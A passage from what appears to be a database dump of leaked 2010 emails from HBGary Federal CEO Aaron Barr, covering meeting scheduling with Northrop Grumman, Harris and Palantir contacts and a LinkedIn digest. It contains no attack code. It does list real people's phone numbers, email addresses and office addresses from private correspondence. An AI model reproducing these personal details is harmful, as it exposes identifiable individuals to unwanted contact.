Hills Road&nbsp;Reston, VA&nbsp;20190&nbsp;703-345-8716&nbsp;Robert.Brammer@ngc.com&nbsp;-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent: Wednesday, January 06, 2010 9:25 AMTo: Brammer, Robert F.Cc: Conoval, Paul (IS); Ted VeraSubject: Introduction in New RoleHi Bob,Happy New Year.I am settling in to my new role as CEO of HBGary Federal, very differentthan previous roles I have had but at this time it seems to fit me.When you have some time I would like to set up a meeting with Myself andHBGary\'s CTO, Rich Cummings, to talk about some of HBGary\'scapabilities. &nbsp;I chose this company because they have some technologythat I think will play a role in the nations cyber defense. &nbsp;Our DigitalDNA identifies malware based on behaviors and traits and is 75%effective in identifying zero day threats, it feeds our Global MalwareGenome which is currently a database of 3500 identified traits. &nbsp;Ourfoundational product, Responder, is probably the best malware analysisand forensics tool on the market. &nbsp;Symantec and Mcafee have integratedDDNA into their offerings. &nbsp;Our products are also integrated into manyexisting Fortune 500 and Government organizations.To better define our organizations. &nbsp;I am the CEO of HBGary Federalwhich runs the services part of our business. &nbsp;Greg Hoglund is thefounder and CEO of HBGary which is focused on product development.Maybe we could get on the SSWG schedule?Respectfully,Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10437,'aaron_hbgary_com/10437.html'),(1003,'2010-01-06','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000175.M715926P3547Q1003.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction in New Role','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nNP.&nbsp; Hopefully you will gain his interest and he will direct us to\r\nothers in his organization.&nbsp; From the product side we would want to get hooked\r\nup with people who\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDo enterprise security for NG\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDo incident response for NG\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDeliver computer security services for NG customers\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 06, 2010 4:58 PM\r\nTo: Bob Slapnik\r\nSubject: Re: Introduction in New Role\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThinking about it I think I will do this call by myself at\r\nfirst. &nbsp;I know Bob pretty well, he might want to chit chat a little more\r\nif its just us. &nbsp;He is pretty high level anyways. &nbsp;I will be working\r\nto set up a capabilities demo at their monthly Cybersecurity meeting, most of\r\ntheir cybersecurity experts attend this monthly meeting.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 6, 2010, at 2:17 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am available at 9am Wed Jan 13.&nbsp; Let&#8217;s have a conversation\r\nabout what you would like to accomplish.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\nPhone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\nbob@hbgary.com&nbsp; |&nbsp;&nbsp;www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, January\r\n06, 2010 12:18 PM\r\nTo:&nbsp;Bob Slapnik; Ted Vera\r\nSubject:&nbsp;Fwd: Introduction\r\nin New Role\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;&quot;Brammer, Robert F.&quot; &lt;robert.brammer@ngc.com&gt;\r\nDate:&nbsp;January 6, 2010\r\n11:12:32 AM EST\r\nTo:&nbsp;&quot;Aaron Barr&quot;\r\n&lt;aaron@hbgary.com&gt;\r\nCc:&nbsp;&quot;Conoval, Paul\r\n(IS)&quot; &lt;Paul.Conoval@ngc.com&gt;,\r\n&quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;,\r\n&quot;Ciocca, Colleen E (IS)&quot; &lt;colleen.ciocca@ngc.com&gt;\r\nSubject:&nbsp;RE:\r\nIntroduction in New Role\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nHappy New Year. &nbsp;Sounds like you are enjoying your new position.\r\n\r\nLet\'s schedule a phone call to discuss your company. &nbsp;I am not at all\r\nfamiliar with HBGary. &nbsp;How about Wednesday, the 13th, at 9AM?\r\n\r\nBob\r\n\r\n\r\nRobert F. Brammer, Ph.D.&nbsp;\r\nVP, Advanced Technology, and CTO&nbsp;\r\nNorthrop Grumman Information Systems&nbsp;\r\n12011 Sunset Hills Road&nbsp;\r\nReston, VA&nbsp;\r\n20190&nbsp;\r\n703-345-8716&nbsp;\r\nRobert.Brammer@ngc.com&nbsp;\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent: Wednesday, January 06, 2010 9:25 AM\r\nTo: Brammer, Robert F.\r\nCc: Conoval, Paul (IS); Ted Vera\r\nSubject: Introduction in New Role\r\n\r\nHi Bob,\r\n\r\nHappy New Year.\r\n\r\nI am settling in to my new role as CEO of HBGary Federal, very different\r\nthan previous roles I have had but at this time it seems to fit me.\r\nWhen you have some time I would like to set up a meeting with Myself and\r\nHBGary\'s CTO, Rich Cummings, to talk about some of HBGary\'s\r\ncapabilities. &nbsp;I chose this company because they have some technology\r\nthat I think will play a role in the nations cyber defense. &nbsp;Our Digital\r\nDNA identifies malware based on behaviors and traits and is 75%\r\neffective in identifying zero day threats, it feeds our Global Malware\r\nGenome which is currently a database of 3500 identified traits. &nbsp;Our\r\nfoundational product, Responder, is probably the best malware analysis\r\nand forensics tool on the market. &nbsp;Symantec and Mcafee have integrated\r\nDDNA into their offerings. &nbsp;Our products are also integrated into many\r\nexisting Fortune 500 and Government organizations.\r\n\r\nTo better define our organizations. &nbsp;I am the CEO of HBGary Federal\r\nwhich runs the services part of our business. &nbsp;Greg Hoglund is the\r\nfounder and CEO of HBGary which is focused on product development.\r\n\r\nMaybe we could get on the SSWG schedule?\r\n\r\nRespectfully,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5193,'aaron_hbgary_com/5193.html'),(1004,'2010-01-06','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000175.M931555P3547Q1004.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Conference Call','Sorry I was sucky and late to the call.  Just forward me the email addresses of the developers on the call and Ill hook them up with our resources.  \r\n\r\nLet me know if you want to chat sometime this week.\r\n\r\n-Matt\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 06, 2010 4:37 PM\r\nTo: Matthew Steckman\r\nSubject: Conference Call\r\n\r\nHey Matt,\r\n\r\nWe have a conference call scheduled for right now right?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15584,'aaron_hbgary_com/15584.html'),(1005,'2010-01-07','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297000176.M110955P3547Q1005.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 1/07/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Dec 31 - Jan 7\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n\r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   Mohannad H. Gomaa, MBA PMP FE has an updated profile (Experience, Education)\r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                    Eric Hallam has updated their current title to Financial Analyst at Northrop Grumman Corporation\r\n                  Send congratulations &#187;\r\n            \r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Steve Winterfeld has an updated profile (Experience)\r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Stu Shea\r\n    is now connected to\r\n        Heather Young\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Paul Thrasher\r\n    is now connected to\r\n        David Meadows\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Eric Hallam\r\nis now connected to\r\n            Eileen Conway\r\n,             Michael Chapman\r\n,             Paul Isakson\r\n,       and 2 other people.\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    STATUS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Michael Toth\r\n      Center for a New American Security - Fixing Intel: A Blueprint for Making Intelligence Relevant in Afghanistan http://www.cnas.org/node/3924\r\n  Add a comment &#187;\r\n  \r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Kevin Halemartin has joined 2 groups, including\r\n      \r\n      The Talent Buzz\r\n      and\r\n      SAIC CONNECTIONS\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Steve Winterfeld has joined\r\n    Syngress\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Stu Shea has joined\r\n    Capital Leadership Council\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    EVENTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Kevin Halemartin\r\n                  \r\n                     is interested in \r\n                  \r\n                    January 2010 TALC Best Practices in Diversity \r\n                  \r\n                     on January 20, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2009, LinkedIn Corporation\r\n    \r\n  \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n',1157,'aaron_hbgary_com/1157.html'),(1006,'2010-01-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000176.M316185P3547Q1006.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Conference Call','Hey Matt,\r\n\r\nNo worries.  I think we will be able to turn something around pretty quickly here for integration, then just a matter of what do we want to demo.\r\n\r\nDevelopers:\r\nKam@hbgary.com\r\nmichael@hbgary.com\r\nscott@hbgary.com\r\nand if it is any benefit aaron@hbgary.com\r\n\r\nHow about Friday? I am open.\r\n\r\nAaron\r\n\r\nAlso,  do you know anything about the IARPA BAA, link listed below.  Maybe a bit of a stretch but it seems like there could be some applicability.\r\n\r\nhttp://www.iarpa.gov/solicitations_kdd.html\r\n\r\n\r\n\r\nOn Jan 6, 2010, at 6:09 PM, Matthew Steckman wrote:\r\n\r\n> Sorry I was sucky and late to the call.  Just forward me the email addresses of the developers on the call and Ill hook them up with our resources.  \r\n> \r\n> Let me know if you want to chat sometime this week.\r\n> \r\n> -Matt\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, January 06, 2010 4:37 PM\r\n> To: Matthew Steckman\r\n> Subject: Conference Call\r\n> \r\n> Hey Matt,\r\n> \r\n> We have a conference call scheduled for right now right?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',436,'aaron_hbgary_com/436.html'),(1007,'2010-01-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000176.M524306P3547Q1007.eml','\"Fox, Michael (mfox04)\" <mfox04@harris.com>','Re: Meeting tomorrow','Mike,\r\n\r\nAre we a go for today?  Rich and Bob and in different places today so\r\no would need to let th know very soon to pull them in to tysons this\r\nafternoon.\r\n\r\nThanks,\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 6, 2010, at 10:59 AM, \"Fox, Michael (mfox04)\"\r\n wrote:\r\n\r\n> I\'m a tentative yes. Vickie was checking on one more person from our\r\n> end. If he attends or not could influence what we do.\r\n>\r\n> Mike Fox\r\n> W 703-961-9456 x142\r\n> C 703-338-9434\r\n> mfox@crucialsecurity.com\r\n> mfox04@harris.com\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, January 06, 2010 10:06 AM\r\n> To: Fox, Michael (mfox04)\r\n> Subject: Meeting tomorrow\r\n>\r\n>\r\n> Hi Mike,\r\n>\r\n> Are we on for tomorrow?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n',6687,'aaron_hbgary_com/6687.html'),(1008,'2010-01-07','rich@hbgary.com','/aaron@hbgary.com/new/1297000176.M701807P3547Q1008.eml','\"Aaron Barr\" <aaron@hbgary.com>','Crucial security','Did you hear back from mike fox?\r\nSent from my Verizon Wireless BlackBerry\r\n',2001,'aaron_hbgary_com/2001.html'),(1009,'2010-01-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000176.M873095P3547Q1009.eml','rich@hbgary.com,rich@hbgary.com','Re: Crucial security','Nope.  Give me a few more hours if u can\r\n\r\n From my iPhone\r\n\r\nOn Jan 7, 2010, at 8:20 AM, rich@hbgary.com wrote:\r\n\r\n> Did you hear back from mike fox?\r\n> Sent from my Verizon Wireless BlackBerry\r\n',16178,'aaron_hbgary_com/16178.html'),(1010,'2010-01-07','mfox04@harris.com','/aaron@hbgary.com/new/1297000177.M230578P3547Q1011.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting tomorrow','I can meet today. It\'s just going to be me, so maybe we don\'t need to reshuffle them both. \r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Fox, Michael (mfox04)\r\nSubject: Re: Meeting tomorrow\r\nSent: Jan 7, 2010 8:10 AM\r\n\r\n\r\nMike,\r\n\r\nAre we a go for today?  Rich and Bob and in different places today so\r\no would need to let th know very soon to pull them in to tysons this\r\nafternoon.\r\n\r\nThanks,\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 6, 2010, at 10:59 AM, \"Fox, Michael (mfox04)\"\r\n wrote:\r\n\r\n> I\'m a tentative yes. Vickie was checking on one more person from our\r\n> end. If he attends or not could influence what we do.\r\n>\r\n> Mike Fox\r\n> W 703-961-9456 x142\r\n> C 703-338-9434\r\n> mfox@crucialsecurity.com\r\n> mfox04@harris.com\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, January 06, 2010 10:06 AM\r\n> To: Fox, Michael (mfox04)\r\n> Subject: Meeting tomorrow\r\n>\r\n>\r\n> Hi Mike,\r\n>\r\n> Are we on for tomorrow?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n\r\n\r\nMike Fox\r\nCrucial Security Programs\r\nHarris Corporation\r\n703-338-9434\r\n703-961-9456 x142\r\n\r\nSent from my Verizion Wireless Blackberry',15164,'aaron_hbgary_com/15164.html'),(1011,'2010-01-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000177.M420548P3547Q1012.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Meeting tomorrow','Ok u guys still available?  I will get some agenda points from him if so.AaronFrom my iPhoneBegin forwarded message:\r\nFrom: mfox04@harris.comDate: January 7, 2010 8:49:17 AM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Meeting tomorrowReply-To: mfox04@harris.com\r\nI can meet today. It&#39;s just going to be me, so maybe we don&#39;t need to reshuffle them both. ------Original Message------From: Aaron BarrTo: Fox, Michael (mfox04)\r\nSubject: Re: Meeting tomorrowSent: Jan 7, 2010 8:10 AMMike,Are we a go for today?  Rich and Bob and in different places today so\r\no would need to let th know very soon to pull them in to tysons thisafternoon.Thanks,Aaron From my iPhone\r\nOn Jan 6, 2010, at 10:59 AM, &quot;Fox, Michael (mfox04)&quot;&lt;mfox04@harris.com&gt; wrote:\r\nI&#39;m a tentative yes. Vickie was checking on one more person from ourend. If he attends or not could influence what we do.\r\nMike FoxW 703-961-9456 x142C 703-338-9434\r\nmfox@crucialsecurity.commfox04@harris.com\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Wednesday, January 06, 2010 10:06 AM\r\nTo: Fox, Michael (mfox04)Subject: Meeting tomorrow\r\nHi Mike,Are we on for tomorrow?\r\nAaronFrom my iPhone\r\nMike FoxCrucial Security ProgramsHarris Corporation703-338-9434703-961-9456 x142Sent from my Verizion Wireless Blackberry\r\n\r\n',7205,'aaron_hbgary_com/7205.html'),(1012,'2010-01-07','rich@hbgary.com','/aaron@hbgary.com/new/1297000177.M42485P3547Q1010.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Crucial security','Np\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: rich@hbgary.com\r\nCc: Bob Slapnik\r\nSubject: Re: Crucial security\r\nSent: Jan 7, 2010 8:25 AM\r\n\r\nNope.  Give me a few more hours if u can\r\n\r\n From my iPhone\r\n\r\nOn Jan 7, 2010, at 8:20 AM, rich@hbgary.com wrote:\r\n\r\n> Did you hear back from mike fox?\r\n> Sent from my Verizon Wireless BlackBerry\r\n\r\n\r\nSent from my Verizon Wireless BlackBerry\r\n',13575,'aaron_hbgary_com/13575.html'),(1013,'2010-01-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000177.M636406P3547Q1013.eml','mfox04@harris.com','Re: Meeting tomorrow','Ok any specifics on what you would like to cover?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 7, 2010, at 8:49 AM, mfox04@harris.com wrote:\r\n\r\n> I can meet today. It\'s just going to be me, so maybe we don\'t need\r\n> to reshuffle them both.\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: Fox, Michael (mfox04)\r\n> Subject: Re: Meeting tomorrow\r\n> Sent: Jan 7, 2010 8:10 AM\r\n>\r\n>\r\n> Mike,\r\n>\r\n> Are we a go for today?  Rich and Bob and in different places today so\r\n> o would need to let th know very soon to pull them in to tysons this\r\n> afternoon.\r\n>\r\n> Thanks,\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Jan 6, 2010, at 10:59 AM, \"Fox, Michael (mfox04)\"\r\n>  wrote:\r\n>\r\n>> I\'m a tentative yes. Vickie was checking on one more person from our\r\n>> end. If he attends or not could influence what we do.\r\n>>\r\n>> Mike Fox\r\n>> W 703-961-9456 x142\r\n>> C 703-338-9434\r\n>> mfox@crucialsecurity.com\r\n>> mfox04@harris.com\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, January 06, 2010 10:06 AM\r\n>> To: Fox, Michael (mfox04)\r\n>> Subject: Meeting tomorrow\r\n>>\r\n>>\r\n>> Hi Mike,\r\n>>\r\n>> Are we on for tomorrow?\r\n>>\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>\r\n>\r\n> Mike Fox\r\n> Crucial Security Programs\r\n> Harris Corporation\r\n> 703-338-9434\r\n> 703-961-9456 x142\r\n>\r\n> Sent from my Verizion Wireless Blackberry\r\n',7245,'aaron_hbgary_com/7245.html'),(1014,'2010-01-07','mfox04@harris.com','/aaron@hbgary.com/new/1297000177.M991301P3547Q1014.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting tomorrow','I\'d like to know about your tools and capabilities. 1pm still works at your office. \r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Fox, Michael (mfox04)\r\nSubject: Re: Meeting tomorrow\r\nSent: Jan 7, 2010 8:52 AM\r\n\r\n\r\nOk any specifics on what you would like to cover?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 7, 2010, at 8:49 AM, mfox04@harris.com wrote:\r\n\r\n> I can meet today. It\'s just going to be me, so maybe we don\'t need\r\n> to reshuffle them both.\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: Fox, Michael (mfox04)\r\n> Subject: Re: Meeting tomorrow\r\n> Sent: Jan 7, 2010 8:10 AM\r\n>\r\n>\r\n> Mike,\r\n>\r\n> Are we a go for today?  Rich and Bob and in different places today so\r\n> o would need to let th know very soon to pull them in to tysons this\r\n> afternoon.\r\n>\r\n> Thanks,\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Jan 6, 2010, at 10:59 AM, \"Fox, Michael (mfox04)\"\r\n>  wrote:\r\n>\r\n>> I\'m a tentative yes. Vickie was checking on one more person from our\r\n>> end. If he attends or not could influence what we do.\r\n>>\r\n>> Mike Fox\r\n>> W 703-961-9456 x142\r\n>> C 703-338-9434\r\n>> mfox@crucialsecurity.com\r\n>> mfox04@harris.com\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, January 06, 2010 10:06 AM\r\n>> To: Fox, Michael (mfox04)\r\n>> Subject: Meeting tomorrow\r\n>>\r\n>>\r\n>> Hi Mike,\r\n>>\r\n>> Are we on for tomorrow?\r\n>>\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>\r\n>\r\n> Mike Fox\r\n> Crucial Security Programs\r\n> Harris Corporation\r\n> 703-338-9434\r\n> 703-961-9456 x142\r\n>\r\n> Sent from my Verizion Wireless Blackberry\r\n\r\n\r\nMike Fox\r\nCrucial Security Programs\r\nHarris Corporation\r\n703-338-9434\r\n703-961-9456 x142\r\n\r\nSent from my Verizion Wireless Blackberry',12716,'aaron_hbgary_com/12716.html'),(1015,'2010-01-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000178.M188785P3547Q1015.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Fwd: Meeting tomorrow','From my iPhoneBegin forwarded message:From: mfox04@harris.com\r\nDate: January 7, 2010 9:08:31 AM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: Re: Meeting tomorrowReply-To: mfox04@harris.com\r\nI&#39;d like to know about your tools and capabilities. 1pm still works at your office. ------Original Message------From: Aaron Barr\r\nTo: Fox, Michael (mfox04)Subject: Re: Meeting tomorrowSent: Jan 7, 2010 8:52 AMOk any specifics on what you would like to cover?\r\nAaron From my iPhoneOn Jan 7, 2010, at 8:49 AM, mfox04@harris.com wrote:\r\nI can meet today. It&#39;s just going to be me, so maybe we don&#39;t needto reshuffle them both.\r\n------Original Message------From: Aaron BarrTo: Fox, Michael (mfox04)\r\nSubject: Re: Meeting tomorrowSent: Jan 7, 2010 8:10 AM\r\nMike,Are we a go for today?  Rich and Bob and in different places today so\r\no would need to let th know very soon to pull them in to tysons thisafternoon.\r\nThanks,Aaron\r\nFrom my iPhoneOn Jan 6, 2010, at 10:59 AM, &quot;Fox, Michael (mfox04)&quot;\r\n&lt;mfox04@harris.com&gt; wrote:I&#39;m a tentative yes. Vickie was checking on one more person from our\r\nend. If he attends or not could influence what we do.\r\nMike FoxW 703-961-9456 x142\r\nC 703-338-9434mfox@crucialsecurity.com\r\nmfox04@harris.com\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, January 06, 2010 10:06 AMTo: Fox, Michael (mfox04)\r\nSubject: Meeting tomorrow\r\nHi Mike,\r\nAre we on for tomorrow?\r\nAaron\r\nFrom my iPhoneMike Fox\r\nCrucial Security ProgramsHarris Corporation703-338-9434\r\n703-961-9456 x142Sent from my Verizion Wireless Blackberry\r\nMike FoxCrucial Security ProgramsHarris Corporation703-338-9434703-961-9456 x142Sent from my Verizion Wireless Blackberry\r\n\r\n',14371,'aaron_hbgary_com/14371.html'),(1016,'2010-01-07','rich@hbgary.com','/aaron@hbgary.com/new/1297000179.M728604P3547Q1016.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Crucial security','Np\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: rich@hbgary.com\r\nCc: Bob Slapnik\r\nSubject: Re: Crucial security\r\nSent: Jan 7, 2010 8:25 AM\r\n\r\nNope.  Give me a few more hours if u can\r\n\r\n From my iPhone\r\n\r\nOn Jan 7, 2010, at 8:20 AM, rich@hbgary.com wrote:\r\n\r\n> Did you hear back from mike fox?\r\n> Sent from my Verizon Wireless BlackBerry\r\n\r\n\r\nSent from my Verizon Wireless BlackBerry\r\n',11822,'aaron_hbgary_com/11822.html'),(1017,'2010-01-07','rich@hbgary.com','/aaron@hbgary.com/new/1297000179.M921080P3547Q1017.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd: Meeting tomorrow','Yep I\'m inSent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 7 Jan 2010 08:51:51 -0500To: Rich Cummings&lt;rich@hbgary.com&gt;; Bob Slapnik&lt;bob@hbgary.com&gt;Subject: Fwd: Meeting tomorrowOk u guys still available?  I will get some agenda points from him if so.AaronFrom my iPhoneBegin forwarded message:\r\nFrom: mfox04@harris.comDate: January 7, 2010 8:49:17 AM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Meeting tomorrowReply-To: mfox04@harris.com\r\nI can meet today. It&#39;s just going to be me, so maybe we don&#39;t need to reshuffle them both. ------Original Message------From: Aaron BarrTo: Fox, Michael (mfox04)\r\nSubject: Re: Meeting tomorrowSent: Jan 7, 2010 8:10 AMMike,Are we a go for today?  Rich and Bob and in different places today so\r\no would need to let th know very soon to pull them in to tysons thisafternoon.Thanks,Aaron From my iPhone\r\nOn Jan 6, 2010, at 10:59 AM, &quot;Fox, Michael (mfox04)&quot;&lt;mfox04@harris.com&gt; wrote:\r\nI&#39;m a tentative yes. Vickie was checking on one more person from ourend. If he attends or not could influence what we do.\r\nMike FoxW 703-961-9456 x142C 703-338-9434\r\nmfox@crucialsecurity.commfox04@harris.com\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Wednesday, January 06, 2010 10:06 AM\r\nTo: Fox, Michael (mfox04)Subject: Meeting tomorrow\r\nHi Mike,Are we on for tomorrow?\r\nAaronFrom my iPhone\r\nMike FoxCrucial Security ProgramsHarris Corporation703-338-9434703-961-9456 x142Sent from my Verizion Wireless Blackberry\r\n\r\n\r\n',2291,'aaron_hbgary_com/2291.html'),(1018,'2010-01-07','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000183.M353657P3547Q1018.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting tomorrow','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n 